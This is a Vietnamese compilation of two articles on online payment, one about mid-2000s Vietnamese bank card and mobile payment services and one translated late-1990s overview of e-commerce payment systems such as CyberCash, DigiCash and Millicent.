thanh toan truc tuyen 3

Khi sử dụng thẻ rút tiền của các ngân hàng Đông Á, Á Châu,Vietcombank... khách hàng chỉ cần vào máy rút tiền tự động (ATM) của những ngân hàng này là có thể thanh toán chi phí các dịch vụ như điện, nước, điện thoại, mua thẻ điện thoại trả trước...

Cũng là mua hàng bằng thẻ ATM nhưng nếu khách hàng đang sử dụng những loại thẻ Techcombank, VPBank... thì có thể đến các điểm chấp nhận thanh toán thẻ (POS) của nhà khai thác dịch vụ thanh toán hộ PayNet. Trước mắt, PayNet mới triển khai dịch vụ bán thẻ điện thoại di động trả trước của Viettel, S-Fone, MobiFone, VinaPhone... Hiện nay, PayNet đang triển khai 100 điểm dịch vụ thanh toán hóa đơn cho các dịch vụ điện thoại di động trả trước dành cho các thẻ Techcombank, VPBank, Namviet Bank... và sắp tới là ABBank.

Ngoài ra, cũng là thanh toán qua thẻ với hình thức thanh toán trực tuyến, nhưng không phải là thẻ ATM mà là thẻ do các nhà bán hàng cung cấp. Goldmart (có siêu thị www.goldmart. com.vn) phát hành thẻ “Gold Card” với mệnh giá 50.000 đồng, 100.000 đồng... Còn tại siêu thị www.123mua.com.vn của công ty kinh doanh trò chơi trực tuyến VinaGame, khách hàng dùng thẻ VinaGame (mệnh giá cao nhất là 60.000 đồng) để thanh toán qua mạng khi mua hàng trực tuyến.

Không chỉ có hình thức thanh toán qua thẻ ATM tại các máy ATM hoặc tại POS, nhiều ngân hàng cũng đã triển khai những hình thức thanh toán khác nhau. Phổ biến nhất là hình thức gọi hoặc nhắn tin qua điện thoại cố định hoặc nhắn tin qua điện thoại di động. ACB có dịch vụ “Call Center”. Đây là dịch vụ thanh toán hóa đơn các dịch vụ điện, nước, điện thoại, Internet, truyền hình cáp, bảo hiểm… Khi có nhu cầu thanh toán, khách hàng ở TP.HCM chỉ cần gọi điện thoại đến số 08.8247247 (ở các tỉnh thành khác gọi số 1800.577.775), thông báo số tài khoản, yêu cầu thanh toán của khách hàng sẽ được thực hiện. Nếu không muốn thanh toán trực tiếp qua điện thoại, có thể sử dụng dịch vụ Mobile Banking của ACB - hình thức nhắn tin qua điện thoại di động để yêu cầu ngân hàng thanh toán các dịch vụ. Với hình thức nhắn tin qua điện thoại di động, Techcombank cũng có dịch vụ F@st MobiPay dành cho khách hàng mua hàng trực tuyến tại hai trang web : www.chodientu.vn và www.vtc.com.vn. Thao tác của dịch vụ này có tốn thời gian nhưng theo giải thích của Techcombank là để bảo vệ tài khoản của khách hàng một cách an toàn nhất.

Những hình thức thanh toán kể trên là những dịch vụ khởi đầu của thanh toán điện tử. Dù không công bố rộng rãi nhưng các ngân hàng kỳ vọng đẩy mạnh việc thanh toán qua Internet. Muốn sử dụng hình thức thanh toán này, người tiêu dùng chỉ cần có truy cập Internet và có các loại thẻ (thẻ ATM, tài khoản ngân hàng, thẻ tín dụng...). Kể từ ngày 1-2-2007, khách hàng sử dụng thẻ đa năng của Ngân hàng Đông Á dễ dàng thanh toán trực tuyến khi mua hàng tại địa chỉ www.gold mart.com. Đây là dịch vụ mới của Đông Á. Sau khi mua hàng trên mạng, khách hàng chọn hình thức thanh toán trực tuyến, hệ thống sẽ kiểm tra thẻ của khách hàng, nếu hợp lệ, trang web của siêu thị sẽ tự động chuyển sang trang web của “Ngân hàng Đông Á điện tử” để khách hàng tiếp tục những thao tác thanh toán.

Đã có nhu cầu
Hiện nay tại các đô thị lớn, tỷ lệ người dân sử dụng thẻ ATM và tài khoản đang gia tăng, nhưng việc dùng những loại thẻ này vào việc thanh toán trong khi đi mua hàng (mua trực tiếp hoặc mua qua mạng) hoặc các giao dịch khác vẫn còn xa lạ mà vẫn chủ yếu là thanh toán bằng tiền mặt. Tính đến thời điểm này, Việt Nam có khoảng năm triệu thẻ và tài khoản cá nhân, trong đó có hơn bốn triệu thẻ ATM và 300.000 thẻ Visa (hoặc MasterCard) giao dịch tại 2.500 máy ATM và 15.000 POS. Hiện người sử dụng thẻ ATM hoặc tài khoản chủ yếu dùng để gửi tiền và rút lương hằng tháng. Còn việc giao dịch thanh toán thông qua thẻ hoặc tài khoản chủ yếu diễn ra dưới hình thức B2B (business to business), các hình thức B2C (business to customer) hoặc C2C (customer to customer) chưa phổ biến.

Dù các ngân hàng có nhiều cố gắng nhưng hình thức thanh toán trực tuyến tại Việt Nam còn rất hạn chế. Đã có những hình thức thanh toán qua mạng nhưng chỉ mang tính riêng lẻ của từng ngân hàng và vẫn đang trong quá trình thử nghiệm. Ngân hàng Đông Á liên kết với siêu thị mạng Goldmart để thanh toán trực tuyến với điều kiện người mua phải có thẻ ATM Đông Á. Techcombank cũng liên kết với Pacific Airlines để bán vé của hãng hàng không này qua Internet cũng với điều kiện phải có thẻ hoặc tài khoản của ngân hàng này.

Ông Nguyễn Chiến Thắng, Tổng giám đốc Công ty PayNet, nhận xét : “Người tiêu dùng hiện rất mong muốn được thanh toán những món hàng mà họ mua sắm qua mạng hay mua thực tế tại các siêu thị bằng hình thức thanh toán điện tử hay thanh toán trực tuyến vì sự an toàn nhưng không phải siêu thị nào cũng có các dịch vụ thanh toán hiện đại này.” Một chuyên gia ngân hàng giải thích thêm : “Nếu như các ngân hàng chịu liên kết với nhau thì chuyện thanh toán bằng thẻ sẽ mạnh hơn. Chỉ tiếc là sự liên kết đó còn quá yếu. Còn việc thanh toán trực tuyến chưa thể phát triển là do độ an toàn của hệ thống mạng còn thấp, người sử dụng chưa muốn dùng dịch vụ này vì sợ bị “hack” tài khoản. Dịch vụ thanh toán bằng thẻ hay thanh toán trực tuyến của chúng ta vẫn còn sơ khai lắm.”

Rồi sẽ đến lúc dịch vụ thanh toán qua thẻ ATM, qua Internet phát triển như mong ước của người tiêu dùng. Vấn đề quan trọng là các ngân hàng, các nhà khai thác thanh toán hộ cho người tiêu dùng như mô hình PayNet có chịu làm gì hay không.


Tổng số khách thuê bao Internet ở Việt Nam hiện đã vượt qua con số 13 triệu, trong đó, độ tuổi từ 20-34 chiếm đến 52 %. Đây là những thông số hấp dẫn, tạo nền tảng cho thương mại điện tử phát triển. Theo thống kê của một công ty nghiên cứu thị trường, loại hàng hóa thường mua qua mạng là sách, phim, nhạc, trò chơi điện tử, vé máy bay, quần áo, giày dép, đồ điện tử…
Dịch vụ mua hàng qua mạng và thanh toán trực tuyến được xem là giải pháp của tương lai, phù hợp với nhu cầu của thị dân. Nhưng hiện nay, dịch vụ thanh toán trực tuyến vẫn chưa được người tiêu dùng quan tâm một phần cũng vì họ chưa yên tâm về mức độ bảo mật

thanh toan truc tuyen 2

Hãy cho tôi xem tiền của anh. Ðây là điều thực sự cần thiết cuối cùng có phải không? Bạn có thể chỉ là một cửa hàng sở hữu một người, vận hành WEB site của mình trong một gara ôtô hoặc một quán cà phê nào đó hay là một tập toàn nhiều tỷ đô la đầu tư hàng triệu đô la vào hệ thống thương mại điện tử. Bạn có thể có một hệ thống phức tạp có khả năng tạo các trang WEB động cho người truy nhập và tích hợp nền với các hệ thống cơ sở dữ liệu cỡ lớn hoặc chỉ đơn thuần là một bản danh danh sách hàng hoá đơn giản trên trang WEB nằm trên máy chủ của một ai đó trên mạng. Bỏ qua mọi yếu tố về cấu hình hệ thống, điểm quan trọng cuối cùng của một hệ thống thương mại điện tử là có một cách nào đó để người mua kích vào phím mua hàng và chấp nhận thanh toán.

Trong thế giới thực, có ba cách thanh toán: Bạn có thể trả tiền mặt, thanh toán bằng séc và sử dụng thẻ tín dụng. Các cơ chế tương tự cũng được sử dụng cho kinh doanh trực tuyến. Bạn có thể nhận số thẻ tín dụng giải mã nó do được mã hoá lúc truyền đi và xử lý đơn đặt hàng bằng tay. Bạn cũng có thể nhận số thẻ tín dụng và xử lý điện tử. Bạn có thể nhận một số thẻ ghi nợ và xử lý nó như một thẻ tín dụng dù người mua có thể coi nó như là một tấm séc. Và cuối cùng bạn có thể nhận tiền mặt. Chúng ta sẽ lần lượt xem xét từng hình thức thanh toán trên và bắt đầu bằng hình thức dễ nhất để thực hiện thanh toán trực tuyến là thẻ tín dụng.



1. Thẻ tín dụng



Thẻ tín dụng đã được xử lý điện tử hàng thập kỷ nay. Chúng được sử dụng đầu tiên trong các nhà hàng và khách sạn sau đó là các cửa hàng bách hoá và cách sử dụng nó đã được giới thiệu trên các chương trình quảng cáo trên truyền hình từ 20 năm nay. Cả một ngành công nghiệp lớn đang tồn tại trong lĩnh vực xử lý các giao dịch thẻ tín dụng trực tuyến với các công ty như First Data Corp., Total System Corp., và National Data Corp., chi tiết hoá các giao dịch phía sau mối quan hệ giữa nhà băng, người bán hàng và người sử dụng thẻ tín dụng. Hàng triệu các cửa hàng bách hoá trên toàn nước Mỹ được trang bị các trạm đầu cuối (Hewlett-Package Verifone là nhà sản xuất hàng đầu của thiết bị này) thông qua đó thể tín dụng được kiểm tra, nhập số thẻ và biên lai được in ra. Người sử dụng ký vào biên lai này để xác thực việc mua hàng.

Trước khi nhận số thẻ tín dụng của người mua qua Internet bạn cần có một chứng nhận người bán. Nếu bạn đã hoạt động kinh doanh thì đơn giản là yêu cầu nhà băng của bạn cung cấp chứng nhận này. Nếu bạn chưa có bất cứ cái gì thì bạn có thể thực hiện việc này nhanh chóng tại một nhà băng nào đó hoặc truy nhập vào một WEB site có các mẫu đăng ký trực tuyến.

Sử dụng thẻ tín dụng trực tuyến ngày hôm nay, tuy nhiên, giống như việc sử dụng chúng với một "operating standing by". Số thẻ và chi tiết của giao dịch được lưu lại và xử lý, nhưng không có sự xuất hiện của người mua và khi có một vụ thanh toán bị lỡ thì nó vẫn được lưu lại trên hệ thống. Bởi lý do này các chi phí xử lý thẻ tín dụng trực tuyến nhiều ngang bằng với chi phí để xử lý một giao dịch chứ không ngang bằng với một mức phí như điện thoại và thông thường là vào khoảng 50 xen. (Các giao dịch được xử lý thông qua các trạm đầu cuối đã được hợp đồng chỉ mất khoảng từ 3 đến 5 xen).

Ngoài các khoản trên, phí được giảm nhờ việc sử dụng các dịch vụ của Visa và MasterCard, là các tổ hợp của các nhà băng, hoặc American Express Co. và Discover là các công ty riêng rẽ xử lý và quản lý các giao dịch thẻ tín dụng. Ðiều đó có nghĩa là bạn sẽ phải trả từ 2 đến 3 xen cho một đô la khi sử dụng Visa hay MasterCard, và ít hơn một chút với Discover, đối với American Express phí này vào khoảng 5 xen cho một đô la. Các thoả ước giữa các công ty cung cấp thẻ và các chủ doanh nghiệp giúp cho khách hàng không phải trả các chi phí này. Việc chiết khấu cũng khác giữa người sử dụng tại trạm đầu cuối nơi mà thẻ tín dụng tồn tại một cách vật lý, và môi trường WEB nơi mà thẻ không hiện diện. Trong quá trình chuyển đổi để chiết khấu người bán được đảm bảo thanh toán. Người mua được đảm bảo về việc sẽ nhận được hàng hoá và một số đảm bảo có giới hạn khác chống lại việc bị lừa hoặc mất thẻ. (Bảo hiểm thẻ được bán bởi các nhà băng phát hành thẻ và các rủi ro sẽ được thanh toán).

Cửa hàng trên WEB của bạn cần phần mềm nào để có thể xử lý thẻ tín dụng? ở mức đơn giản nhất, bạn phải có sẵn một số biểu mẫu có khả năng mã hoá bảo mật, thông thường là Sercure Socket Layer (SSL), một tiêu chuẩn đối với cả các trình duyệt của Microsoft và Netscape, và điều đó cũng có nghĩa là máy chủ của bạn phải có một khoá mã hoá. Tiếp theo bạn phải có một chương trình đóng vai trò là một giỏ mua hàng, cho phép người sử dụng thu thập các mặt hàng cần mua, tính giá và thuế sau đó đưa ra một hoá đơn cuối cùng để phê chuẩn. Cuối cùng nếu như bạn không muốn xử lý các tệp giao dịch bằng tay hoặc xử lý một gói các tệp thì bạn phải cần một cơ chế giao dịch điện tử.



2. Ðịnh danh hay ID số hoá (Digital identificator)



Các khoá mã bảo mật trên máy chủ, được biết đến như là các ID số hoá, được cung cấp bởi một số các cơ quan chứng nhận thẩm quyền, là nơi cấp phép và bảo dưỡng các bản ghi diễn biến trên các ID số hoá này. Tổ chức chứng thực thẩm quyền lớn nhất được điều hành bởi VeriSign Inc., một công ty được thành lập vào năm 1995 chuyên về lĩnh vực quản lý các chứng nhận số hoá. Công ty xử lý các yêu cầu ID số hoá cho các công ty như American Online, Microsoft, Netscape, tuy nhiên bạn cũng có thể trực tiếp có các ID số hoá trên WEB site của công ty. Vào mùa hè năm 1998, VeriSign thu phí 349 USD cho máy chủ ID đầu tiên mà một công ty mua và 249 USD cho thêm mỗi máy chủ ID tiếp theo. Một Máy chủ ID toàn cục - Global Server ID, 128 bit có mức chi phí 695 USD.

Công nghệ nền tảng cho các ID số hoá của VeriSign là SSL được xây dựng đầu tiên bởi RSA Technologies inc., nay là một đơn vị của Sercurity Dynamics. Mỗi thông điệp, được mã hoá bằng hai mã hoặc khoá là một chuỗi các bit làm thay đổi giá trị đã được số hoá các của dữ liệu được đưa vào hay lấy ra khỏi chương trình. Một khoá công cộng được dùng để mã hoá các thông điệp, trong khi khoá riêng thứ hai được dùng để giải mã nó. Tính thống nhất và xác thực của các khoá riêng được đảm bảo bởi một cơ quan chứng nhận thẩm quyền như VeriSign. Một máy chủ ID số hoá cho phép bạn ký vào các văn bản điện tử và chứng thực chữ ký của mình với một cơ quan chứng nhận thẩm quyền.



3. Xe mua hàng điện tử



MercantecỊs SoftCart Version 3.0 là một chương trình có chức năng của một giỏ mua hàng điện tử trực tuyến hiện đang sẵn có trên thị trường. Sau khi một phần mềm như trên được cài đặt trên máy chủ WEB thì bạn chỉ cần đặt một kết nối HTML trên trang WEB mô tả sản phẩm đến vị trí của chương trình này với các biểu mẫu để người mua có thể điền các thông tin về sản phẩm, thay đổi số lượng và chủng loại mặt hàng rồi hoàn thành giao dịch đó và chuyển đến một cơ chế xử lý giao dịch để thực hiện hoàn tất một quá trình mua hàng. Nếu như kho hàng của bạn nằm trong một cơ sỡ dữ liệu thì bàn cần có thêm các kỹ năng cần thiết để viết các hàm gọi đến cơ sở dữ liệu này dưới dạng .dll đối với môi trường Windows hay so đối với môt trường Unix. Nói chung các phần mềm dạng này sẽ cung cấp một số tính năng căn bản sau đây:

§ Liên kết các yêu cầu bán hàng đến một biểu mẫu đặt hàng mà khách hàng có thể truy nhập qua WEB.

§ Hoàn thành biểu mẫu đặt hàng sau khi đã lựa chọn hàng hoá và số lượng, rồi cập nhật thêm các thông tin về thẻ tín dụng.

§ Xử lý các biểu mẫu đặt hàng, thông thường là chuyển đổi các dữ liệu ở đó thành dạng một tệp để xử lý theo gói (sẽ cần thêm một chương trình riêng rẽ nếu như có nhu cầu xử lý các giao dịch một cách trực tuyến).

§ Gửi thư biên lai hoàn chỉnh đến khách hàng qua thư điện tử và kiểm tra xác thực việc mua bán.

§ Hỗ trợ khả năng mềm dẻo trong xử lý đơn đặt hàng sao cho hàng hoá có thể được giao nhanh nhất, việc xử lý có thể được thực hiện bởi bộ phận bán hàng hoặc bất kỳ một người nào đó được uỷ quyền.

Một số chương trinh còn cung cấp thêm các tính năng bổ trợ sau:

§ Có sẵn một cơ chế tìm kiếm cho các sản phẩm trong cơ sở dữ liệu.

§ Hỗ trợ các đối tượng HTML động sao cho giá cả có thể thay đổi nhanh chóng phụ thuộc vào số lượng đặt hàng.

§ Hỗ trợ các biểu mẫu thu thập thông tin bổ trợ như thông tin tìm hiểu về khách hàng, danh sách địa chỉ e-mail của các khách hàng được xắp xếp theo nhóm quan tâm đến một sản phẩm hoặc một dịch vụ mới nào đó.

§ Hỗ trợ EDI cho việc xử lý các đơn đặt hàng điện tử trong môi trường doanh nghiệp-tới-doanh nghiệp (B2B).

Các công việc này được xử lý trong một môi trường an toàn bảo mật (SSL). Phần mềm giỏ mua hàng điện tử được liên kết với một khoá mã bảo mật SSL sao cho tất cả các dữ liệu được truyền giữa máy chủ của bạn và trình duyệt WEB của khách hàng (giả sử là trình duyệt này hỗ trợ bảo mật SSL) được mã hoá bảo mật khỏi những tay rình trộm trên mạng.



4. Các bộ sử lý giao dịch



ICVerify, được sát nhập với CyberCash vào tháng 5 năm 1998, là một trong các doanh nghiệp trong làn sóng mới của thương mại trên Internet. Bộ xử lý giao dịch của nó, là một sản phẩm phần mềm thực hiện tất cả các công việc của một trạm đầu cuối của các cửa hàng bách hoá trong thế giới thực trừ một việc là nó được đặt trên một WEB site. ICVerify có thể chạy trên nền Windows NT và nhiều phiên bản Unix khác nhau hoặc cũng có thể là một thành phần ghép thêm vào các hệ cơ sở dữ liệu Oracle. Sẽ cần thêm một vài kiến thực về ngôn ngữ kịch bản Perl để thực hiện phần mềm này, tuy nhiên nếu bạn đã giao việc tích hợp hệ thống cho một đối tác nào đó thì sẽ không phải lo ngại gì về vấn đề này.

Phần mềm ICVerify thực hiện các công việc mà một trạm tính tiền đầu cuối thực hiện. Nó nhận số thẻ tín dụng của người dùng, số nhận dạng của người bán, các dữ liệu giao dịch (ngày, thời gian, số lượng), tạo lại thành các khuôn dạng chuẩn để xử lý, tao lời gọi đến các hàm có liên quan và hoàn thành các giao dịch. Nó cũng lưu lại các thông tin về thanh toán và mã xác thực, là dãy số được in trên phiếu nhận dạng thanh toán mỗi giao dịch được hoàn thành bởi bộ xử lý (phần mềm cũng có thể xử lý theo gói, có nghĩa là nó thu nhận tất cả các số liệu rồi xử lý vào ban đêm). Các số liệu giao dịch sau đó có thể được chạy trực tiếp thông qua một phần mềm giỏ mua hàng điện tử để xử lý đơn đặt hàng và tính toán các số liệu kế toán.

Phần mềm đóng gói ICVerify có thể được thiết lập để quản lý nhiều cửa hàng khác nhau, là nó còn có thể xử lý các giao dịch tuần hoàn như là với các khoản vay hoặc trả trước định kỳ. Khối xử lý các giao dịch thông thường chỉ chiếm khoảng 3.5 kilobyte bộ nhớ. Phần mềm này cũng bao gồm một số phần cho phép xử lý trong các ngành công nghiệp đặc biệt hoặc xử lý giao dịch của các công ty lớn với các khoản giảm giá theo định mức khác nhau.

Rủi ro nhiều nhất trong việc xử lý thẻ tín dụng bằng điện thoại hoặc thông qua WEB là người sử dụng có thể sử dụng một thẻ tín dụng hoặc số thẻ tín dụng ăn cắp của người khác. ICVerify là một trong số các sản phẩm có thể phần nào chống lại được các trường hợp này bằng việc kiểm tra tính đồng nhất của địa chỉ người mua hàng với địa chỉ được lưu trữ trên máy tính chứa cơ sở dữ liệu về địa chỉ của thẻ tín dụng.



4.1. Cyber Cash



CyberCash được biết đến như một công ty nối tiếng trong lĩnh vực xử lý các giao dịch cho thương mại điện tử. Có trụ sở ở Reston, Virginia, CyberCash cung cấp một hệ thống gọi là CashRegister cho phép các cửa hàng trên WEB có thể cung cấp các phương thức thanh toán sau cho khách hàng:

§ Thanh toán bằng thẻ tín dụng bao gồm các loại thẻ như Visa, MasterCard, American Express, Discover.

§ CyberCoin cho phép người dùng mua các sản phẩm có giá từ 25 xen đến 10 USD.

§ Séc điện tử và khả năng xử lý séc qua Internet.

CashRegister có thể tích hợp với một Website sẵn có và hoạt động trên nền Windows NT hay Unix. Người bán có thể cài đặt phần mềm bằng cách tải xuống miễn phí từ WEB site của CyberCash là www.cybercash.com hoặc có thể kết hợp với các công ty điều hành siêu thị trên Internet, các ISP đã có thoả thuận sử dụng CashRegister. Trong khi phần mềm CashRegister là miễn phí thì những người bán hàng thường bù cho CyberCash khoảng vài xen cho một giao dịch.

CashRegister là một phần mềm thực hiện các chức năng về phía người bán hàng. Ðể sử dụng hệ thống, khách hàng hoặc có thể chỉ sử dụng một trình duyệt WEB mà không cần phải thêm bất kỳ phần mềm hỗ trợ nào để điền vào các biểu mẫu mua hàng trên Internet hoặc họ có thể tải xuống một phần mềm miễn phí của CyberCash gọi là CyberCash Wallet, phần mềm này cho phép họ thiết lập một tài khoản với các thông tin trên thẻ tín dụng của mình, CyberCoins và séc điện tử. CyberCash chào hàng một vài hệ thống thanh toán khác nhau sẽ được xem xét chi tiết dưới đây:



a. Thanh toán bằng thẻ tín dụng



CyberCash Secure Internet Credit Card Service là một phần của CashRegister được giới thiệu lần đầu tiên vào tháng 5 năm 1995. Nó cho phép khách hàng với thẻ tín dụng có thể mua hàng hoặc dịch vụ từ các cửa hàng trên mạng đã cài đặt CyberCash CashRegister. Ðể hoàn tất phần mềm này người bán hàng phải tải xuống một bộ công cụ phần mềm từ WEB site của CyberCash. Việc cài đặt phần mềm yêu cầu một số kiến thức về Perl và HTML, các chi tiết sẽ được chỉ rõ khi tải xuống chương trình từ WEB site.

Qúa trình cài đặt sẽ tích hợp WEB site của bạn với một phần mềm máy chủ CyberCash để xử lý thanh toán.

Sau khi CashRegister được cài đặt người bán hàng phải đăng ký một tài khoản tại một nhà băng nào đó chấp nhận thanh toán thông qua việc xử lý thẻ tín dụng của CyberCash. Hiện tai các nhà băng sau ở Bắc Mỹ hỗ trợ CyberCash:

§ CheckFree Corp.

§ First Data Corp.

§ Global Payment Systems.

§ NOVA Information Systems.

§ Vital Processing Servers.

CyberCash lặp lại các công việc xử lý thẻ tín dụng trong thế giới thực qua Internet. Dưới đây là cách mà môt hệ thống xử lý thẻ tín dụng điển hình thực hiện:

1.Khách hàng đưa thẻ tín dụng cho ngưòi bán.

2.Người bán hoặc đôi lúc khách hàng, đưa thẻ vào một máy đọc thẻ.

3.Thông tin trên dải băng từ của thẻ được truyền đến một bộ xử lý thẻ tín dụng để xác thực.

4.Thông tín trên thẻ được so sánh với một tập hợp các nguyên tắc đã được định nghĩa trước bởi người phát hành thẻ cho khách hàng (ví dụ như Visa) như hạn mức tín dụng và ngày hết hạn.

5.Sau khi qúa trình xác minh được chấp nhận, hệ thống sẽ gửi lại cho người bán một mã xác thực.

6.Người bán sử dụng mã xác thực này trên phiếu thanh toán.

CyberCash tự động hoá quá trình xử lý này thông qua phần mềm của họ và mối quan hệ với các nhà băng khác và các mạng xác thực thẻ tín dụng. Sau khi khách hàng trên WEB nhập số thẻ tín dụng vào phần mềm CashRegister, thông qua CyberCash Wallet hoặc chỉ đơn giản là nhập nó vào một biểu mẫu trên trang WEB thì CashRegister sẽ định dạng giao dịch vào và chuyển nó qua Internet tới các trung tâm xử lý xác thực. Sau khi quá trình xác thực được chấp nhận thì nó sẽ được gửi lại CashRegister để đảm bảo chấp nhận quá trình mua bán này cho khách hàng. Toàn bộ quá trình này mất khoảng 15 giây. CashRegister chạy trên rất nhiều môi trường khác nhau bao gồm Solaris, SUNOS, SGI, HP-UX, BSDI, Windows, Linux và Macintosh.



b. Internet Wallet



Trong khi khách hàng mua hàng tại các cửa hàng cài đặt CyberCash không phải cần thêm bất cứ phần mềm nào ngoài trình duyệt WEB thông qua việc nhập các thông tin của thẻ tín dụng vào một biểu mẫu có sẵn trên trang WEB thì họ cũng có thể tự thiết lập "một chiếc ví điện tử" cho phép mình có thể có nhiều lựa chọn thanh toán khác nhau. CyberCassh Internet Wallet có thể được cài đặt trên máy của khách hàng và cung cấp các phương thức thanh toán cũng giống như của CashRegister:

§ Thanh toán bằng thẻ tín dụng.

§ Thanh toán bằng CyberCoin.

§ Thanh toán bằng séc điện tử.

Ðể có chương trình Internet Wallet, khách hàng có thể tải xuống miễn phí từ WEB site của CyberCash là www.cybercash.com . Rất nhiều các cửa hàng trên WEB sử dụng các phần mềm của CyberCash cũng cho phép khách hàng tải xuống phần mềm này từ chính WEB site của họ và CyberCash sẽ giúp đỡ người dùng cách cài đặt chương trình này.

Trong quá trình cài đặt chương trình, người sử dụng thiết lập một Wallet ID, là một cách để người bán hàng có thể nhận dạng được người mua, đây cũng là một cách giống như số PIN trên thẻ ghi nợ. Ngoài ra người bán cũng cần phải có một ID để người mua có thể nhận ra họ.

Trong lúc thiết lập Wallet người dùng sẽ tải xuống một chương trình được gọi là CyberCoin bằng việc rút tiền từ nhà băng qua Internet cũng giống bạn làm việc đó với một máy rút tiền tự động -ATM. Ðể xử lý thẻ tín dụng, chương trình sẽ chuyển số tiền đi từ tài khoản thẻ tín dụng và xử lý nó như một giao dịch thông thường, chứ không phải là một khoản tiền trả trước thường bị tính phí. Sau khi Wallet được cài đặt xong, khách hàng có thể bắt đầu việc mua hàng từ các cửa hàng chấp nhận các phương thức thanh toán CyberCash.

CyberCoin được xử dụng cho các khoản thanh toán rất nhỏ hoặc các khoản lặt vặt từ 25 xen đến 10 USD. Rất nhiều các sản phẩm hoặc dịch vụ được bán qua WEB nhu các bài báo hay một bức ảnh chỉ có mức giá thấp và ít tăng đến nỗi khách hàng không muốn sử dụng thẻ tín dụng do sẽ bị tính phí, đối với các mặt hàng có trị giá cao hơn thì khách hàng hay sử dụng thẻ tín dụng hơn là CyberCoin. Ðâu là điều khác nhau giữa một người sử dụng Wallet và một người không sử dụng Wallet, đó là việc xử lý thanh toán sẽ thuận tiện hơn và người sử dụng Wallet sẽ có một số lợi điểm hơn như việc các phần mềm Wallet và CashRegister sẽ lưu lại một bản ghi giao dịch và nó sẽ xuất hiện trên bản kê tiếp theo của thẻ tín dụng giúp khách hàng dễ theo dõi hơn các giao dịch của mình.



c. DigiCash



DigiCash có trụ sở tại Amsterdam là một công ty cung cấp các phương thức thanh toán an toàn và bảo mật, người tiên phong của ecash-tiền mặt điện tử được sử dụng qua Internet. Dựa trên công nghệ mã hoá khoá công cộng, cho phép người sử dụng và nhà băng trao đổi chữ ký điện tử với nhau để kiểm tra nhận dạng, ecash cho phép khách hàng tải về máy tính PC của họ tiền số hoá từ tài khoản ngân hàng để thực hiện việc mua hàng điện tử.

DigiCash môt tả ecash "như là sử dụng một máy rút tiền tự động ảo". Khi người sử dụng kết nối qua Internet vào một nhà băng tham gia vào chương trình ecash, họ sẽ tải xuống các "đồng xu điện tử" về đĩa cứng trên máy tính của mình. Sau khi thực hiện việc đặt hàng từ một cửa hàng trên WEB cũng tham gia vào chương trình ecash, khách hàng sẽ chuyển các "đồng xu điện tử" này từ trình duyệt WEB trên máy PC của mình về máy chủ của người bán hàng.

Phần mềm cho người sử dụng là khách hàng được gọi là purse-ví tiền, có giao diện đồ hoạ và chạy trên môi trưòng Windows 3.1 và các phiên bản tiếp sau. Người bán hàng tham gia vào chương trình ecash sẽ cần một phần mềm được cung cấp bởi DigiCash, có nhiều phiên bản từ xử lý từ các giao dịch đơn giản đến cả một hệ thống kế toán phức tạp bao gồm cả các chức năng như điều khiển kho hàng.

Các nhà băng và công ty lớn tham gia vào chương trình ecash có thể kể đến bao gồm: Deutsche Bank, Germany; Bank Austria, Austria; Den Norske Bank, Norway; Advance Bank, Australia; Nomura Reaserch Instritute, Japan; Mark Twain Bank, USA; và Eunet, Finland.



4.2. Giải pháp Millicent của Digital Equipment



Millicent là một công nghệ vi giao dịch được phát kiến bởi Digital Equipment Corp vào năm 1997. Hệ thống này có thể xử lý các giao dịch nhỏ đến một phần mười xen. Ðây là một hệ thống sử dụng các thủ tục được gọi là "brokers" để tập hợp các giao dịch nhỏ thành một lượng lớn đủ để xử lý và hình thành một "scrip-chứng khoán tạm thời" bao gồm một thông điệp xác định rằng thông điệp này có một giá trị riêng. Những người mua được quyền mua các chứng khoán tạm thời này sẽ xác định giá trị của nó.

Do các chứng khoán tạm thời này chỉ có giá trị kinh tế đối với người tạo ra nó nên không cần một giao dịch an toàn cho các chứng khoán tạm thời này. Người bán hàng phát hành các chứng khoán tạm thời này sẽ bảo vệ nó bằng việc sử dụng một mã khoá bảo mật trong phần tóm tắt của thông điệp.

Chủ tịch Robert Palmer của Digital mô tả Millicent là một phương thức tuyệt hảo cho các trò chơi video thanh toán theo nhu cầu sử dụng hoặc các bài báo chỉ bao gồm các ký tự và các người bán chứng khoán riêng lẻ. Millicent được giới thiệu vào đầu năm 1998.



a. Séc

Có hai cách để WEB site của bạn có thể nhận séc. Bạn có thể xây dựng các tờ séc ảo hoặc nhận thanh toán từ các thẻ ghi nợ liên kết với các tài khoản séc.

Thẻ ghi nợ cũng giống như thẻ tín dụng, chỉ khác là nó không trực tiếp truy nhập tới tài khoản séc của khách hàng. Nó là hậu duệ của thẻ ATM đã phổ biến từ đầu những năm 1980 được sử dụng để rút tiền từ các máy rút tiền của nhà băng và vẫn còn được sử dụng tới nay.

Ðiều thay đổi hiện nay các giao dịch của chúng đã được xử lý bình thường qua các mạng thẻ tín dụng của nhà băng. Giờ đây hầu hết các thẻ này đều có biểu tượng của Visa hoặc MasterCard. Ðiều đó có nghĩ là bạn có thể xử lý các giao dịch thẻ ghi nợ hết như là xử lý các giao dịch thẻ tín dụng, nhưng do tiền được chuyển tới trực tiếp từ tài khoản séc của người sử dụng nên chiết khấu sẽ thấp hơn.



b. Redi-Check



Redi-Check Inc. là một công ty chuyên xử lý các giao dịch ở Salt Lake City, Utah, cho ra đời một sản phẩm gọi là Internet Transaction Gateway, theo công bố là một phần mềm cho phép các cửa hàng trên WEB tiếp nhận séc trực tuyến. Redi-Check cũng chào hàng các dịch vụ bảo đám séc kể từ khi thành lập và mở rộng các dịch vụ này lên Internet kể từ tháng 3 năm 1997. Người bán có thể nhận được các dịch vụ xử lý, bảo vệ hoặc bảo đảm trên các tấm séc được tạo thành trực tuyến.

Ðể chào hàng dịch vụ này Redi-Check sử dụng các số ABA được in trên tấm séc giấy ở góc dưới bên trái của tờ séc. Số nhận dạng này sẽ được kiểm tra với hệ thống Federal Reserve để kiểm tra nhận dạng về nhà băng và khách hàng. Khi khách hàng viết một tấm séc trên máy chủ của người bán, số này sẽ được chuyển trực tiếp đến máy chủ của Redi-Check sau đó được kiểm tra với một danh sách mã bảo đảm của Federal Reserve. Redi-Check sau đó có thể xử lý giao dịch này như đối với một thẻ ghi nợ. Sau khi quá trình này hoàn thành cả người mua và người bán đều nhận được một bức thư điện tử để kiểm chứng giao dịch này.

